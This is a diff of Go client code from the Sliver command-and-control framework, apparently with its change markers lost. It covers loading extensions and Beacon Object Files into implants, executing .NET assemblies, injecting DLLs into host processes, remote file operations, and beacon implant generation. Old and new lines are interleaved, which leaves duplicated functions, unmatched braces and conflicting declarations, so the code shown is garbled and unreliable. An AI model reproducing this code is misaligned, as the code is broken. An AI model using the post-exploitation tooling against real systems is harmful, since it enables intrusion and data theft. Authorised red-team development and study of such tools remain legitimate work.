var (
argFunc func(string, string, ...grumble.ArgOption)
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "short":
argFunc = a.Int
defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
} else {
argFunc(arg.Name, arg.Desc)
}
// Have to use a global map here, as passing the extCmd
// either by value or by ref fucks things up
commandMap[extCmd.Name] = *ext
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
extensionCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if extCmd.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
}
} else {
f.String("p", "process", "", "Path to process to host the shared object")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
}
},
HelpGroup: consts.ExtensionHelpGroup,
},
HelpGroup: consts.ExtensionHelpGroup,
}
con.App.AddCommand(extensionCmd)
}
con.App.AddCommand(extensionCmd)
con.PrintInfof("%s extension has been loaded\n", ext.Name)
}
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s", err)
return
}
if extList.Response != nil && extList.Response.Err != "" {
con.PrintErrorf("Error: %s", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
}
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if len(session.Extensions) == 0 {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
} else {
extensionList = session.Extensions
}
depLoaded := false
for _, extName := range extensionList {
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.Name == extName {
return nil
}
}
// Extension not found, let's load it
if filepath.Ext(binPath) == ".o" {
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
return errLoad
}
}
return nil
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return err
}
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
return errRegister
}
// Update session info
if filepath.Ext(binPath) != ".o" {
// Don't update session for BOFs, we don't cache them
// on the implant side (yet)
// update the Session info
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
Extensions: extensionList,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
}
return nil
}
func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.Name,
Data: binData,
OS: session.OS,
Init: ext.Init,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return err
}
if registerResp.Response != nil && registerResp.Response.Err != "" {
return errors.New(registerResp.Response.Err)
}
return nil
}
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
depExt, f := commandMap[depName]
if f {
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
if err != nil {
return err
}
depBinData, err := ioutil.ReadFile(depBinPath)
if err != nil {
return err
}
return registerExtension(con, &depExt, depBinData, session, ctx)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
callExtension *sliverpb.CallExtension
err error
extensionArgs []byte
extName string
entryPoint string
)
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
ext, ok := commandMap[ctx.Command.Name]
if !ok {
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
return
}
if err = loadExtension(ctx, session, con, &ext); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
c, err := ext.getCommandFromName(ctx.Command.Name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(c.DefaultArgs) != 0 && len(args) == 0 {
extArgs = c.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
entryPoint := c.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = c.getDefaultProcess(session.GetOS())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
@@ -313,142 +245,86 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
isBOF := filepath.Ext(binPath) == ".o"
// BOFs (Beacon Object Files) are a specific kind of extensions
// that require another extension (a COFF loader) to be present.
// BOFs also have strongly typed arguments that need to be parsed in the proper way.
// This block will pack both the BOF data and its arguments into a single buffer that
// the loader will extract and load.
if isBOF {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
if c.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %s\n", err)
con.PrintErrorf("%s\n", err)
return
}
extName = ext.DependsOn
entryPoint = commandMap[extName].Entrypoint // should exist at this point
} else {
// Regular DLL
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
extensionArgs = []byte(extArgs)
extName = ext.Name
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
con.SpinUntil(msg, ctrl)
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
return
}
con.PrintInfof("Successfully executed %s\n", extName)
if len(callExtension.Output) > 0 {
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(callExtension.Output)
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if c.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveSession.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: c.Entrypoint,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
var extensionArgs []byte
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return nil, err
}
argsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
// Parse BOF arguments from grumble
for _, arg := range ext.Arguments {
switch arg.Type {
case "int":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddInt(uint32(val))
if err != nil {
return nil, err
}
case "short":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddShort(uint16(val))
if err != nil {
return nil, err
}
case "string":
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddString(val)
if err != nil {
return nil, err
}
case "wstring":
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddWString(val)
if err != nil {
return nil, err
}
// Adding support for filepaths so we can
// send binary data like shellcodes to BOFs
case "file":
val := ctx.Args.String(arg.Name)
data, err := ioutil.ReadFile(val)
if err != nil {
return nil, err
}
err = argsBuffer.AddData(data)
if err != nil {
return nil, err
}
}
}
parsedArgs, err := argsBuffer.GetBuffer()
if err != nil {
return nil, err
}
// Now build the extension's argument buffer
extensionArgsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
err = extensionArgsBuffer.AddString(ext.Entrypoint)
if err != nil {
return nil, err
}
err = extensionArgsBuffer.AddData(binData)
if err != nil {
return nil, err
}
err = extensionArgsBuffer.AddData(parsedArgs)
if err != nil {
return nil, err
}
extensionArgs, err = extensionArgsBuffer.GetBuffer()
if err != nil {
return nil, err
}
return extensionArgs, nil
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
@@ -459,5 +335,5 @@ func cmdExists(name string, app *grumble.App) bool {
}
func init() {
commandMap = make(map[string]extensionCommand)
commandMap = make(map[string]extension)
}
+11 -27
View File
@@ -28,18 +28,16 @@ import (
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CatCmd - Display the contents of a remote file
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -50,35 +48,13 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, ctx, con)
}
}
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
@@ -97,6 +73,14 @@ func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.Sl
con.Println(string(download.Data))
}
}
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
// err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)
// if err != nil {
// con.PrintErrorf("Failed to save output as loot: %s", err)
// } else {
// fmt.Printf(clearln + Info + "Output saved as loot\n")
// }
// }
}
func colorize(f *sliverpb.Download) error {
+4 -18
View File
@@ -22,40 +22,26 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CdCmd - Change directory on the remote system
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
filePath := ctx.Args.String("path")
pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPwd(pwd, con)
})
con.PrintAsyncResponse(pwd.Response)
} else {
PrintPwd(pwd, con)
con.PrintInfof("%s\n", pwd.Path)
}
}
+25 -52
View File
@@ -27,18 +27,16 @@ import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -57,54 +55,6 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dst = path.Join(dst, fileName)
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintDownload(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintDownload(download, ctx, con)
}
}
// PrintDownload - Print the download response, and save file to disk
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
@@ -113,6 +63,20 @@ func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *conso
return
}
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveSession.Request(ctx),
Path: remotePath,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
@@ -132,4 +96,13 @@ func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *conso
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
}
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
// err = AddLootFile(rpc, fmt.Sprintf("[download] %s", filepath.Base(remotePath)), remotePath, download.Data, false)
// if err != nil {
// con.PrintErrorf("Failed to save output as loot: %s", err)
// } else {
// fmt.Printf(Info + "Output saved as loot\n")
// }
// }
}
+9 -28
View File
@@ -29,18 +29,16 @@ import (
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// LsCmd - List the contents of a remote directory
func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -62,9 +60,9 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
lastSeparatorOccurence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurrence == -1 {
if lastSeparatorOccurence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
@@ -72,8 +70,8 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurrence+1]
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
baseDir := remotePath[:lastSeparatorOccurence]
potentialFilter := remotePath[lastSeparatorOccurence+1:]
_, err := filepath.Match(potentialFilter, "")
@@ -86,35 +84,18 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Path: remotePath,
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if ls.Response != nil && ls.Response.Async {
con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, ls)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintLs(ls, ctx.Flags, filter, con)
})
con.PrintAsyncResponse(ls.Response)
} else {
PrintLs(ls, ctx.Flags, filter, con)
PrintLs(ls, con, ctx.Flags, filter)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err)
return
}
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.FlagMap, filter string) {
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
+4 -27
View File
@@ -22,17 +22,15 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MkdirCmd - Make a remote directory
func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -44,33 +42,12 @@ func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if mkdir.Response != nil && mkdir.Response.Async {
con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, mkdir)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMkdir(mkdir, con)
})
con.PrintAsyncResponse(mkdir.Response)
} else {
PrintMkdir(mkdir, con)
con.PrintInfof("%s\n", mkdir.Path)
}
}
// PrintMkdir - Print make directory
func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) {
if mkdir.Response != nil && mkdir.Response.Err != "" {
con.PrintErrorf("%s\n", mkdir.Response.Err)
return
}
con.PrintInfof("%s\n", mkdir.Path)
}
+5 -27
View File
@@ -22,46 +22,24 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// PwdCmd - Print the remote working directory
func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPwd(pwd, con)
})
con.PrintAsyncResponse(pwd.Response)
} else {
PrintPwd(pwd, con)
con.PrintInfof("%s\n", pwd.Path)
}
}
// PrintPwd - Print the remote working directory
func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) {
if pwd.Response != nil && pwd.Response.Err != "" {
con.PrintErrorf("%s\n", pwd.Response.Err)
return
}
con.PrintInfof("%s\n", pwd.Path)
}
+4 -27
View File
@@ -22,17 +22,15 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// RmCmd - Remove a directory from the remote file system
func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -44,35 +42,14 @@ func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Path: filePath,
Recursive: ctx.Flags.Bool("recursive"),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if rm.Response != nil && rm.Response.Async {
con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, rm)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRm(rm, con)
})
con.PrintAsyncResponse(rm.Response)
} else {
PrintRm(rm, con)
con.PrintInfof("%s\n", rm.Path)
}
}
// PrintRm - Print the rm response
func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) {
if rm.Response != nil && rm.Response.Err != "" {
con.PrintErrorf("%s\n", rm.Response.Err)
return
}
con.PrintInfof("%s\n", rm.Path)
}
+4 -29
View File
@@ -26,24 +26,21 @@ import (
"path/filepath"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// UploadCmd - Upload a file to the remote system
func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
localPath := ctx.Args.String("local-path")
remotePath := ctx.Args.String("remote-path")
isIOC := ctx.Flags.Bool("ioc")
if localPath == "" {
con.PrintErrorf("Missing parameter, see `help upload`\n")
@@ -69,38 +66,16 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if upload.Response != nil && upload.Response.Async {
con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, upload)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintUpload(upload, con)
})
con.PrintAsyncResponse(upload.Response)
} else {
PrintUpload(upload, con)
con.PrintInfof("Wrote file to %s\n", upload.Path)
}
}
// PrintUpload - Print the result of the upload command
func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
if upload.Response != nil && upload.Response.Err != "" {
con.PrintErrorf("%s\n", upload.Response.Err)
return
}
con.PrintInfof("Wrote file to %s\n", upload.Path)
}
@@ -1,48 +0,0 @@
package generate
import (
"fmt"
"os"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
var (
minBeaconInterval = 5 * time.Second
ErrBeaconIntervalTooShort = fmt.Errorf("Beacon interval must be %v or greater", minBeaconInterval)
)
// GenerateBeaconCmd - The main command used to generate implant binaries
func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
config := parseCompileFlags(ctx, con)
if config == nil {
return
}
config.IsBeacon = true
err := parseBeaconFlags(ctx, con, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
compile(config, save, con)
}
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
if interval < minBeaconInterval {
return ErrBeaconIntervalTooShort
}
config.BeaconInterval = int64(interval)
config.BeaconJitter = int64(time.Duration(ctx.Flags.Int64("jitter")) * time.Second)
return nil
}
+50 -34
View File
@@ -62,8 +62,8 @@ const (
// DefaultReconnect is the default reconnect time
DefaultReconnect = 60
// DefaultPollTimeout is the default poll timeout
DefaultPollTimeout = 360 // 6 minutes
// DefaultPoll is the default poll interval
DefaultPoll = 1
// DefaultMaxErrors is the default max reconnection errors before giving up
DefaultMaxErrors = 1000
)
@@ -82,6 +82,31 @@ var (
"windows/386": true,
"windows/amd64": true,
}
// validFormats = []string{
// "bash",
// "c",
// "csharp",
// "dw",
// "dword",
// "hex",
// "java",
// "js_be",
// "js_le",
// "num",
// "perl",
// "pl",
// "powershell",
// "ps1",
// "py",
// "python",
// "raw",
// "rb",
// "ruby",
// "sh",
// "vbapplication",
// "vbscript",
// }
)
// GenerateCmd - The main command used to generate implant binaries
@@ -168,22 +193,22 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
c2s := []*clientpb.ImplantC2{}
mtlsC2 := ParseMTLSc2(ctx.Flags.String("mtls"))
mtlsC2 := parseMTLSc2(ctx.Flags.String("mtls"))
c2s = append(c2s, mtlsC2...)
